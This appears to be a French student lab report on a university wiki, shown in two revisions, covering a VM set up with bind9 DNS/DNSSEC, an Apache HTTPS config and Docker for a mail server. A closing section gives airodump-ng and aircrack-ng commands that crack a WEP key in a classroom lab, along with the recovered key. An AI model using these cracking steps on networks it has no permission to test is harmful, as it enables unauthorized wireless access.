TP sysres IMA2a5 2017/2018 G3

2017-12-01T15:55:09Z

Cle-guen :

<h2>Projet de réseau IMA2A5</h2>

<h3>Création et configuration de la Machine virtuelle</h3>

<div><br>Notre tâche principale de ce projet de promo est de monter un serveur de messagerie<br><br></div>

<div> Nous avons tout d'abord créé une machine virtuelle, stockée sur le serveur cordouan. Cette machine est une MV Xen, nommée duvel (en référence au doux breuvage portant le même nom). Nous avons installé quelques paquets qui nous serviront pour la suite, notammant :<br><br></div>

<ul>
<li>apache2 comme serveur web
<li>docker afin de créer des conteneurs de messagerie
<li>bind9 pour monter notre serveur DNS
</ul>

<div>Ensuite, nous avons configuré le réseau de notre machine virtuelle afin qu'il soit configuré sur son nouveau réseau (celui mis en place par les copains). Sa nouvelle adresse IP est 193.48.57.165 .<br>Après avoir acheté un nom de domaine sur gandi.net (duvel.space), nous avons monté le serveur DNS via bind9. Nous avons en premier lieu modifier les fichiers :<br><br></div>

<ul>
<li>named.conf.local :<br><br>zone "duvel.space" { <br>type master;<br>file "/etc/bind/webmail.duvel.space";<br>// allow-transfer { };<br>};<br><br></li>
<li>named.conf.options :<br><br>dnssec-validation auto;<br>auth-nxdomain no; # conform to RFC1035<br>listen-on-v6 { any; };<br><br></li>
<li>webmail.duvel.space :<br>$TTL 604800<br>@ IN SOA ns.duvel.space. root.duvel.space. (<br> 3298267243 ; Version<br> 7200 ; Refresh (2h)<br> 3600 ; Retry (1h)<br> 1209600 ; Expire (14j)<br> 259200 ) ; Minimum TTL (3j)<br> IN NS ns.duvel.space.<br> IN NS ns6.gandi.net.<br><br>ns IN A 193.48.57.165<br>ns6 IN A 217.70.177.40<br><br></li>
</ul>

<h3>Configuration DNS sécurisé</h3>
<ul>
<div>Après avoir ajouté "dnssec-enable yes" dans le fichier "named.conf.options", nous avons modifier le fichier webmail.duvel.space pour la compatibilité avec les mails (ajout des 2 lignes suivantes).<br><div>
<li>IN MX 100 ns.duvel.space.
<li>www IN CNAME ns<br>
<p>La config ssl de apache a aussi été modifier pour avoir un site en https sur le port 443 avec certificat.<br><br><IfModule mod_ssl.c><br>
<VirtualHost *:443><br>
ServerAdmin webmaster@localhost<br><br>

DocumentRoot /var/www/html<br><br>

ErrorLog ${APACHE_LOG_DIR}/error.log<br>
CustomLog ${APACHE_LOG_DIR}/access.log combined<br><br>

SSLEngine on<br>

SSLCertificateFile /root/duvel.crt<br>
SSLCertificateKeyFile /root/duvel.key<br><br>

SSLCertificateChainFile /root/GandiStandardSSLCA2.pem<br>
<FilesMatch "\.(cgi|shtml|phtml|php)$"><br>
SSLOptions +StdEnvVars<br>
</FilesMatch><br>
<Directory /usr/lib/cgi-bin><br>
SSLOptions +StdEnvVars<br>
</Directory><br><br>

BrowserMatch "MSIE [2-6]" \<br>
nokeepalive ssl-unclean-shutdown \<br>
downgrade-1.0 force-response-1.0<br>
BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown<br>

</VirtualHost><br>
</IfModule></p><br><br>

<p>Nous avons ensuite créé les 2 clefs asymétriques suivantes:
<li>clef asym clef de zone : Kduvel.space.+005+15754
<li>clef asym clef d'enregistrement : Kduvel.space.+005+43650</p>

<h3>Tâche spécifique: Création d'un serveur mail</h3>

<p>L'idée est ici de créer un serveur mail sur notre machine virtuelle à partir de postfix, tout en utilisant des conteneurs correspondants à chaque utilisateur.<br>Les conteneurs sont créés avec Docker. Pour cela, on récupère une image avec la commande "docker pull debian" et on le créé sur notre machine avec "docker run -i -t debian /bin/bash"</p>

<h3>Crack de la clef WEP</h3>

<ul><p><li>On commence par chercher le point d'accès:<br>
airodump-ng --encrypt wep wlan0mon <br>
<li>Ensuite on écoute les trames wifi:<br>
airodump-ng -w out -c 4 --essid ***** wlan0mon <br>
<li> On lance ensuite la commande suivante dans un autre terminal pour trouver la clef, la recherche dure environ 5 minutes. Ce temps est dû au fait que l'on procède par tests (force brute)<br>
aircrack-ng out-01.cap <br>
KEY FOUND! [ 63:32:34:67:4A:3A:51:34:76:25:43:77:3F ] (ASCII: c24gJ:Q4v%Cw? )

</p>

TP sysres IMA2a5 2017/2018 G3

2017-11-29T18:03:10Z

Cle-guen :

<h2>Projet de réseau IMA2A5</h2>

<h3>Création et configuration de la Machine virtuelle</h3>

<div><br>Notre tâche principale de ce projet de promo est de monter un serveur de messagerie<br><br></div>

<div> Nous avons tout d'abord créé une machine virtuelle, stockée sur le serveur cordouan. Cette machine est une MV Xen, nommée duvel (en référence au doux breuvage portant le même nom). Nous avons installé quelques paquets qui nous serviront pour la suite, notammant :<br><br></div>

<ul>
<li>apache2 comme serveur web
<li>docker afin de créer des conteneurs de messagerie
<li>bind9 pour monter notre serveur DNS
</ul>

<div>Ensuite, nous avons configuré le réseau de notre machine virtuelle afin qu'il soit configuré sur son nouveau réseau (celui mis en place par les copains). Sa nouvelle adresse IP est 193.48.57.165 .<br>Après avoir acheté un nom de domaine sur gandi.net (duvel.space), nous avons monté le serveur DNS via bind9. Nous avons en premier lieu modifier les fichiers :<br><br></div>

<ul>
<li>named.conf.local :<br><br>zone "duvel.space" { <br>type master;<br>file "/etc/bind/webmail.duvel.space";<br>// allow-transfer { };<br>};<br><br></li>
<li>named.conf.options :<br><br>dnssec-validation auto;<br>auth-nxdomain no; # conform to RFC1035<br>listen-on-v6 { any; };<br><br></li>
<li>webmail.duvel.space :<br>$TTL 604800<br>@ IN SOA ns.duvel.space. root.duvel.space. (<br> 3298267243 ; Version<br> 7200 ; Refresh (2h)<br> 3600 ; Retry (1h)<br> 1209600 ; Expire (14j)<br> 259200 ) ; Minimum TTL (3j)<br> IN NS ns.duvel.space.<br> IN NS ns6.gandi.net.<br><br>ns IN A 193.48.57.165<br>ns6 IN A 217.70.177.40<br><br></li>
</ul>

<h3>Configuration DNS sécurisé</h3>
<ul>
<div>Après avoir ajouté "dnssec-enable yes" dans le fichier "named.conf.options", nous avons modifier le fichier webmail.duvel.space pour la compatibilité avec les mails (ajout des 2 lignes suivantes).<br><div>
<li>IN MX 100 ns.duvel.space.
<li>www IN CNAME ns<br>
<p>La config ssl de apache a aussi été modifier pour avoir un site en https sur le port 443 avec certificat.<br><br><IfModule mod_ssl.c><br>
<VirtualHost *:443><br>
ServerAdmin webmaster@localhost<br><br>

DocumentRoot /var/www/html<br><br>

ErrorLog ${APACHE_LOG_DIR}/error.log<br>
CustomLog ${APACHE_LOG_DIR}/access.log combined<br><br>

SSLEngine on<br>

SSLCertificateFile /root/duvel.crt<br>
SSLCertificateKeyFile /root/duvel.key<br><br>

SSLCertificateChainFile /root/GandiStandardSSLCA2.pem<br>
<FilesMatch "\.(cgi|shtml|phtml|php)$"><br>
SSLOptions +StdEnvVars<br>
</FilesMatch><br>
<Directory /usr/lib/cgi-bin><br>
SSLOptions +StdEnvVars<br>
</Directory><br><br>

BrowserMatch "MSIE [2-6]" \<br>
nokeepalive ssl-unclean-shutdown \<br>
downgrade-1.0 force-response-1.0<br>
BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown<br>

</VirtualHost><br>
</IfModule></p><br><br>

<p>Nous avons ensuite créé les 2 clefs asymétriques suivantes:
<li>clef asym clef de zone : Kduvel.space.+005+15754
<li>clef asym clef d'enregistrement : Kduvel.space.+005+43650</p>

<h3>Tâche spécifique: Création d'un serveur mail</h3>

<ul><p>L'idée est ici de créer un serveur mail sur notre machine virtuelle à partir de postfix, tout en utilisant des conteneurs correspondants à chaque utilisateur.<br>Les conteneurs sont créés avec Docker. Pour cela, on récupère une image avec la commande "docker pull debian" et on le créé sur notre machine avec "docker run -i -t debian /bin/bash"</p>

<h3>Crack de la clef WEP</h3>

<ul><p>KEY FOUND! [ 63:32:34:67:4A:3A:51:34:76:25:43:77:3F ] (ASCII: c24gJ:Q4v%Cw? )
</p>

Wiki d'activités IMA - Contributions de l’utilisateur [fr]

TP sysres IMA2a5 2017/2018 G3

TP sysres IMA2a5 2017/2018 G3